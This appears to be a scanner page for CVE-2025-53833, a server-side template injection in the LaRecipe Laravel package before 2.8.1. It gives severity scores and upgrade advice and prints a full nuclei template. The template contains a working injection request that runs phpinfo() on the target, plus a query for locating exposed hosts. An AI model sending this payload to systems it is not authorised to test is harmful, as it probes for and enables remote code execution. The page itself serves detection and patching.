LaRecipe < 2.8.1 Remote Code Execution via SSTI

criticalseverity

10CVSS score

9.1%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.

Impact

Attackers could execute arbitrary commands on the server, access sensitive environment variables, and/or escalate access depending on server configuration.

Fix

Users are strongly advised to upgrade to version v2.8.1 or later to receive a patch.

How to confirm it

Send: GET /docs/1.0/?{{phpinfo()}}
Positive when: contains "PHP Extension" and "PHP Version" and "larecipe" AND status 200

Run it with nuclei: nuclei -id CVE-2025-53833 -u <target>

The full check

id: CVE-2025-53833

info:
  name: LaRecipe < 2.8.1 Remote Code Execution via SSTI
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.
  impact: |
    Attackers could execute arbitrary commands on the server, access sensitive environment variables, and/or escalate access depending on server configuration.
  remediation: |
    Users are strongly advised to upgrade to version v2.8.1 or later to receive a patch.
  reference:
    - https://github.com/saleem-hadad/larecipe/security/advisories/GHSA-jv7x-xhv2-p5v2
    - https://github.com/advisories/GHSA-jv7x-xhv2-p5v2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53833
  classification:
    epss-score: 0.09141
    epss-percentile: 0.95357
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-53833
    cwe-id: CWE-1336
    cpe: cpe:2.3:a:binarytorch:larecipe:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: binarytorch
    product: larecipe
    fofa-query: body="/binarytorch/larecipe/"
  tags: cve,cve2025,larecipe,rce,ssti,oss,vkev,vuln

http:
  - raw:
      - |
        GET /docs/1.0/?{{phpinfo()}} HTTP/1.1
        Host: {{Hostname}}

    skip-variables-check: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
          - "larecipe"
        condition: and

      - type: status
        status:
          - 200

References

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